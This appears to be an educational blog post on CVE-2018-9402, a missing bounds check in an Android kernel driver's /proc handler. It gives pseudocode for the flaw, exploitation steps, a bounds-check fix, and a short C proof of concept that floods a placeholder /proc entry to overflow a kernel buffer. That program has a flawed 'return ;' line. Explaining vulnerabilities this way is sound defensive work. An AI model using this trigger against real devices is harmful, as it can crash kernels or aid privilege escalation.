In 2018, a critical vulnerability was disclosed in the Android kernel. Known as CVE-2018-9402, this issue exists due to a missing bounds check in multiple functions of gl_proc.c, a module commonly found in certain device drivers. Attackers can exploit this bug to overwrite sensitive memory, potentially gaining elevated privileges in the kernel.

Let’s explore what caused this bug, how a hacker might exploit it, and discuss relevant remediation strategies. All code examples and explanations here are exclusive and written in clear, accessible American English.

How Did it Happen?

gl_proc.c is part of a driver file handling /proc entries — special files that expose kernel data to userspace in Unix-like OSes. In several of its functions, the code reads user-controlled input into a fixed-size buffer. The missing safety check allows a user to supply more data than the buffer can hold, leading to a classic buffer overwrite.

Vulnerable snippet example (pseudocode)

#define BUF_SIZE 256
char buf[BUF_SIZE];

// Vulnerable: No length check on user input!
if (copy_from_user(buf, user_input, count)) {
    // Process input in 'buf'
}

Here, copy_from_user blindly copies count bytes — if count is more than 256, memory after buf is overwritten. This can corrupt adjacent kernel data.

Exploitation: How Can This Be Used?

Because kernel code runs at a high privilege level, overwriting certain memory locations can lead to escalation of privileges. An attacker can:

Typical Exploitation Steps

1. Find the vulnerable node: The attacker writes data to the affected /proc file, passing a very large value as the write length.
2. Overflow the buffer: Supplying crafted input, the attacker overwrites pointers or process structures.
3. Trigger malicious behavior: If a function pointer is overwritten, the attacker can redirect kernel code execution.

*Warning: Detailed, weaponized exploit code is not provided here for ethical reasons.*

Proof-of-Concept Example

Here’s how a local attacker might trigger the bug. This is an example for educational purposes.

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>

int main() {
    int fd = open("/proc/vuln_entry", O_WRONLY);
    if (fd == -1) {
        perror("open");
        return 1;
    }

    char data[1024]; // Larger than the buffer in kernel
    memset(data, 'A', sizeof(data));

    // This write overflows the kernel buffer in gl_proc.c
    write(fd, data, sizeof(data));
    close(fd);

    printf("Data written. Check dmesg for kernel panic or check privilege.\n");
    return ;
}

*Note: This basic exploit will likely crash the kernel rather than reliably escalate privileges, but it shows the concept.*

References

- CVE-2018-9402 on NVD
- Android Security Bulletin—June 2018
- AOSP Patch
- Explanation by JPCERT

Remediation

Update Your Device: This bug was fixed in Android security patches following June 2018. If your device is running an unpatched firmware, consider applying updates immediately.

Kernel Developers — How to Fix?

if (count > BUF_SIZE) {
    return -EINVAL;
}
if (copy_from_user(buf, user_input, count)) {
    // ...
}

Proper bounds checking prevents the overflow.

Conclusion

CVE-2018-9402 is a textbook example of how a simple programming oversight — forgetting to validate input size — can have dire consequences in kernel-space code. Regular code reviews and static analysis tools can help catch such bugs early. Always validate input, especially in code running with high privileges.

Stay safe, and keep your systems updated!

*If you want to learn more about Android kernel security vulnerabilities, visit the Android Security Bulletins or check out further reading on MITRE's CVE database.*

Timeline

Published on: 12/05/2024 00:15:17 UTC
Last modified on: 12/05/2024 17:15:06 UTC